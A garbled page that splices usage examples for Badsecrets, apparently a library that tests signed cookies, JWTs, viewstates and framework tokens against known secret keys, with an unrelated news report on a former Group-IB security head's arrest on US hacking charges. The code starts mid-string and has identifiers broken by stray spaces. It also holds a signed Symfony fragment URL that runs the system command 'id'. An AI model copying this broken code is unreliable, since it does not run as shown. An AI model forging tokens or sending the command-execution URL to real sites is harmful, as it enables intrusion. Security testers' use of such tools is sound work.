T08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D")
if r:
print(r)< br/>else:
print("KEY NOT FOUND :(")
x = Flask_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Peoplesoft_PSToken()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABSpxUdcNT67zqSLW1wY5/FHQd1U6mgAAAAFAFNkYXRhXHicHYfJDUBQAESfJY5O2iDWgwIsJxHcxdaApTvFGX8mefPmAVzHtizta2MSrCzsXBxsnOIt9yo6GvyekZqJmZaBPCUmVUMS2c9MjCmJKLSR/u+laUGuzwdaGw3o")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Django_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret(".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRI pvaTZRQMM3-UypscEN57ECtXis")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Rails_SecretKeyBase()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Generic_JWT()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Telerik_Encrypt ionKey()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("owOnMokk%2F4N7IMo6gznRP56OYIT34dZ1Bh0KBbXlFgztgiNNEBYrgWRYDBkDlX8BIFYBcBztC3NMwoT%2FtNF%2Ff2nCsA37ORIgfBem1foENqumZvmcTpQuoiXXbMWW8oDjs270y6LDAmHhCRsl4Itox4NSBwDgMIOsoMhNrMigV7o7jlgU16L3ezISSmVqFektKmu9qATIXme63u4IKk9UL%2BGP%2Fk3NPv9MsTEVH1wMEf4MApH5KfWBX96TRIc9nlp3IE5BEWNMvI1Gd%2BWXbY5cSY%2Buey2mXQ%2BAFuXAernruJDm%2BxK8ZZ09TNsn5UREutvNtFRrePA8tz3r7p14yG756E0vrU7uBz5TQlTPNUeN3shdxlMK5Qzw1EqxRZmjhaRpMN0YZgmjIpzFgrTnT0%2Bo0f6keaL8Z9TY8vJN8%2BEUPoq%2F7AJiHKm1C8GNc3woVzs5mJKZxMUP398HwGTDv9KSwwkSpHeXFsZofbaWyG0WuNldHNzM%2FgyWMsnGxY6S086%2F477xEQkWdWG5UE%2FowesockebyTTEn3%2B%2FqiVy%2FIOxXvMpvrLel5nVY%2FSouHp5n2URRyRsfo%2B%2BOXJZo7yxKQoYBSSkmxdehJqKJmbgxNp5Ew8m89xAS5g99Hzzg382%2BxFp8yoDVZMOiTEuw0J%2B4G6KizqRW9cis%2FELd0aDE1V7TUuJnFrX%2BlCLOiv100tKpeJ0ePMOYrmvSn0wx7JhswNuj%2BgdKqvCnMSLakGWiOHxu5m9Qqdm3s5sk7nsaxMkh8IqV%2BSzB9A2K1kYEUlY40II1Wun67OSdLlYfdCFQk4ED0N%2BV4kES%2F1xpGiaPhxjboFiiV%2BkvCyJfkuotYuN%2B42CqF yAyepXPA%2BR5jVSThT6OIN2n1UahUnrD%2BwKKGMA9QpVPTSiGLen2KSnJtXISbrl2%2BA2AnQNH%2BMEwYVNjseM0%2BAosbgVfNde2ukMyugo%2FRfrRM27cbdVlE0ms0uXhlgKAYJ2ZN54w1tPWhpGxvZtB0keWpZan0YPh8CBgzsAIMa04HMYLCtgUTqxKqANoKXSy7VIJUzg3fl%2F2WUELjpXK9gRcgexNWDNB1E0rHd9PUo0PvpB4fxSrRpb1LRryipqsuoJ8mrpOVrVMvjracBvtoykK3GrN%2FDUlXkSG%2FAeBQN7HwDJ9QPi3AtEOohp78Op3nmbItXo7IJUSjzBNzUYR8YPj6Ud7Fje9LZSwMBngvgx%2BOKy6HsV4ofOAU2%2FK1%2BfxI0KkCeoSso9NJHWgBD7ijfXUa1Hrc%2FuNU3mTlSSVp3VStQrJbQCkr4paaHYWeeO4pRZCDSBNUzs9qq3TDePwpEQc4QROrw5htdniRk26lFIFm%2Fzk2nC77Pg%2BrkRC1W%2BlRv0lyXsmXVBCe8F1szpWXHCxHNAJwKH%2FBb%2BV1k6AXFXVWPW5vADbXUvRu0s6KLaqu6a0KCB7dt3K2Ni%2FI6O%2FmISYXzknbMrwwakNfajbRF2ibodgR9R9xvoCoCXa3ka7%2Fejr%2BmsZ2HvPKUAffd2fNIWCQrejfpuIoOWiYx6ufN8E41HetCbYfvsI6JQfPOEdOYWI2px%2BLdfO3Nybq99%2BRSQOhjNZakBP54ozlCUfwgpLOmTBwsswZexv1RK5MIi8%2FWtjlJ%2FKjkYxdkFUlwggGS2xDwzcyl2%2FakNCQ5YmxjU8cRY7jZQRMo%2F8uTw5qa2MNZPaQGI18uRgr0i%2FTX3t57fJYCpMLXSaUKIdO7O%2FCQhIyGTS6KrPN%2B3%2FgUb%2BPQ1viGhpnWfGEYF9vhIlK57z8G8G82UQ3DpttD7M 8mQ0KsmCOq75ECx9CWrWGk51vADlm%2BLEZ5oWjVMs%2FThki40B7tL7gzFrBuQksWXYeubMzZfFo4ZQ49di4wupHG5kRsyL2fJUzgpaLDP%2BSe6%2FjCnc52C7lZ3Ls0cHJVf9HRwDNXWM%2B4h8donNy5637QWK%2BV7mlH%2FL4xBZCfU9l6sIz%2FWHMtRaQprEem6a%2FRwPRDBiP65I2EwZLKGY8I%2F1uXJncwC8egLu82JY9maweI0VmJSmRcTf0evxqqe7vc9MqpsUlpSVNh4bFnxVIo5E4PGX70kVaTFe0vu1YdGKmFX5PLvkmWIf%2FnwfgPMqYsa0%2F09trboJ5LGDEQRXSBb7ldG%2FwLdOiqocYKAb91SMpn1fXVPBgkPM27QZxHnSAmWVbJR2%2FIhO%2BIVNzkgFAJlptiEPPPTxuBh%2BTT7CaIQE3oZbbJeQKvRkrt4bawTCOzciU%2F1zFGxubTJTSyInjQ8%2F1tVo7KjnxPKqGSfwZQN%2FeWL6R%2FpvCb%2BE6D4pdyczoJRUWsSNXNnA7QrdjgGNWhyOMiKvkDf3RD4mrXbul18WYVTsLyp0hvQsbdwBWOh7VlwfrWdy%2BklsttFi%2B%2BadKR7DbwjLTcxvdNpTx1WJhXROR8jwW26VEYSXPVqWnYvfyZo4DojKHMSDMbAakbuSJdkGP1d5w0AYbKlAcVQOqp9hbAvfwwLy4ErdIsOg0YEeCcnQVRAXwaCI9JvWWmM%2FzYJzE3X45A6lU9Pe7TAbft810MYh7lmV6Keb5HI6qXFiD%2B8khBZqi%2FsK6485k0a86aWLxOb4Eqnoc41x%2BYPv5CWfvP6cebsENo%3D%2BIUg0f64C4y77N4FZ6C82m5wMpvDQIHqx0ZFIHLhwMg%3D")
if r:
print(r)
else:
print("KEY NOT FOUND :(" )
x = Jsf_viewstate()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RSCWwjtJcZNbWPcvPqL5zzfl03DoeMZfGGX7a9PSv+fUT8MAeKNouAGj1dZuO8srXt8xZIGg+wPCWWCzcX6IhWOtgWUwiXeSojCDTKXklsYt+kzlVbk5wOsXvb2lTJoO0Q==")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Symfony_SignedURL()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Express_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Laravel_SignedCo okies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJpdiI6IlhlNTZ2UjZUQWZKVHdIcG9nZFkwcGc9PSIsInZhbHVlIjoiRlUvY2grU1F1b01lSXdveXJ0T3N1WGJqeVVmZlNRQjNVOWxiSzljL1Z3RDhqYUdDbjZxMU9oSThWRzExT0YvUmthVzVKRE9kL0RvTEw1cFRhQkphOGw4S2loV1ZrMkkwTHd4am9sZkJQd2VCZ3R0VlFSeFo3ay9wTlBMb3lLSG8iLCJtYWMiOiJkMmU3M2ExNDc2NTc5YjAwMGMwMTdkYTQ1NThkMjRkNTY2YTE4OTg2MzY5MzE5NGZmOTM4YWVjOGZmMWU4NTk2IiwidGFnIjoiIn0%3D")
if r:
print(r)
else:
print("KEY NOT FOUND :(")An additional layer of abstraction above check_secret, which accepts a python requests.response object or a string
import requests
from badsecrets import modules_loaded
Telerik_HashKey = modules_loaded["telerik_hashkey"]
x = Telerik_HashKey()
res = requests.get(f"http://example.com/")
r_list = x.carve(requests_response=res)
print(r_list)
telerik_dialogparameters_sample = """
Sys.Application.add_init(function() {
$create(Telerik.Web.UI.RadDialogOpener, {"_dialogDefinitions":{"ImageManager":{"SerializedParameters":"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","Width":"770px","Height":"588px","Title":"Image Manager"}
"""
r_list = x.carve(body=telerik_dialogparameters_sample)
print(r_list)from badsecrets.base import check_all_modules
tests = [
"yJrdyJV6tkmHLII2uDq1Sl509UeDg9xGI4u3tb6dm9BQS4wD08KTkyXKST4PeQs00giqSA==",
"eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA",
"vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNd s%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQ xGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8ghT08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3 NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D",
"qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABRhZGwcBykRPNQv++kTK0KePPqVVGgAAAAFAFNkYXRhXHicHYc7DkBQAATnIUqVa3jxLRzApxJBrxA18bmdw1l2k9nZG/Bcxxjt4/An3NnYOVlZOMRL7ld0NAQ9IzUTMy0DeUpMqkYkso+ZGFNiKbRW//Pyb0Guzwtozw4Q",
".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRIpvaTZRQMM3-UypscEN57ECtXis",
"eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo",
"dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRk M4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841",
"https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=",
"s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc"
]
for test in tests:
r = check_all_modules(test)
if r:
print(r)
else:
print("Key not found!")import requests
from badsecrets.base import carve_all_modules
### using python requests response object
res = requests.get(f"http://example.com/")
r_list = carve_all_modules(requests_response=res)
print(r_list)
### Using string
carve_source_text = """
<html>
<head>
<title>Test</title>
</head>
<body>
<p>Some text</p>
<div class="JWT_IN_PAGE">
<p>eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo</p>
</div>
</body>
</html>
"""
r_list = carve_all_modules(body=carve_source_text)
print(r_list)Nothing would make us happier than getting a pull request with a new module! But the easiest way to contribute would be helping to populate our word lists! If you find publicly available keys help us make Badsecrets more useful by submitting a pull request to add them.
Requests for modules are always very welcome as well!
Nikita Kislitsin, formerly the head of network security for one of Russia’s top cybersecurity firms, was arrested last week in Kazakhstan in response to 10-year-old hacking charges from the U.S. Department of Justice. Experts say Kislitsin’s prosecution could soon put the Kazakhstan government in a sticky diplomatic position, as the Kremlin is already signaling that it intends to block his extradition to the United States.
Nikita Kislitsin, at a security conference in Russia.
Kislitsin is accused of hacking into the now-defunct social networking site Formspring in 2012, and conspiring with another Russian man convicted of stealing tens of millions of usernames and passwords from LinkedIn and Dropbox that same year.
In March 2020, the DOJ unsealed two criminal hacking indictments against Kislitsin, who was then head of security at Group-IB, a cybersecurity company that was founded in Russia in 2003 and operated there for more than a decade before relocating to Singapore.
Prosecutors in Northern California indicted Kislitsin in 2014 for his alleged role in stealing account data from Formspring. Kislitsin also was indicted in Nevada in 2013, but the Nevada indictment does not name his alleged victim(s) in that case.
However, documents unsealed in the California case indicate Kislitsin allegedly conspired with Yevgeniy Nikulin, a Russian man convicted in 2020 of stealing 117 million usernames and passwords from Dropbox, Formspring and LinkedIn in 2012. Nikulin is currently serving a seven-year sentence in the U.S. prison system.
As first reported by Cyberscoop in 2020, a trial brief in the California investigation identified Nikulin, Kislitsin and two alleged cybercriminals — Oleg Tolstikh and Oleksandr Vitalyevich Ieremenko — as being present during a 2012 meeting at a Moscow hotel, where participants allegedly discussed starting an internet café business.
A 2010 indictment out of New Jersey accuses Ieremenko and six others with siphoning nonpublic information from the U.S. Securities & Exchange Commission (SEC) and public relations firms, and making $30 million in illegal stock trades based on the proprietary information they stole.
[The U.S. Secret Service has an outstanding $1 million reward for information leading to the arrest of Ieremenko (Александр Витальевич Еременко), who allegedly went by the hacker handles “Zl0m” and “Lamarez.”]
Kislitsin was hired by Group-IB in January 2013, nearly six months after the Formspring hack. Group-IB has since moved its headquarters to Singapore, and in April 2023 the company announced it had fully exited the Russian market.
In a statement provided to KrebsOnSecurity, Group-IB said Mr. Kislitsin is no longer an employee, and that he now works for a Russian organization called FACCT, which stands for “Fight Against Cybercrime Technologies.”
“Dmitry Volkov, co-founder and CEO, sold his stake in Group-IB’s Russia-based business to the company’s local management,” the statement reads. “The stand-alone business in Russia has been operating under the new brand FACCT ever since and will continue to operate as a separate company with no connection to Group-IB.”
FACCT says on its website that it is a “Russian developer of technologies for combating cybercrime,” and that it works with clients to fight targeted attacks, data leaks, fraud, phishing and brand abuse. In a statement published online, FACCT said Kislitsin is responsible for developing its network security business, and that he remains under temporary detention in Kazakhstan “to study the basis for extradition arrest at the request of the United States.”
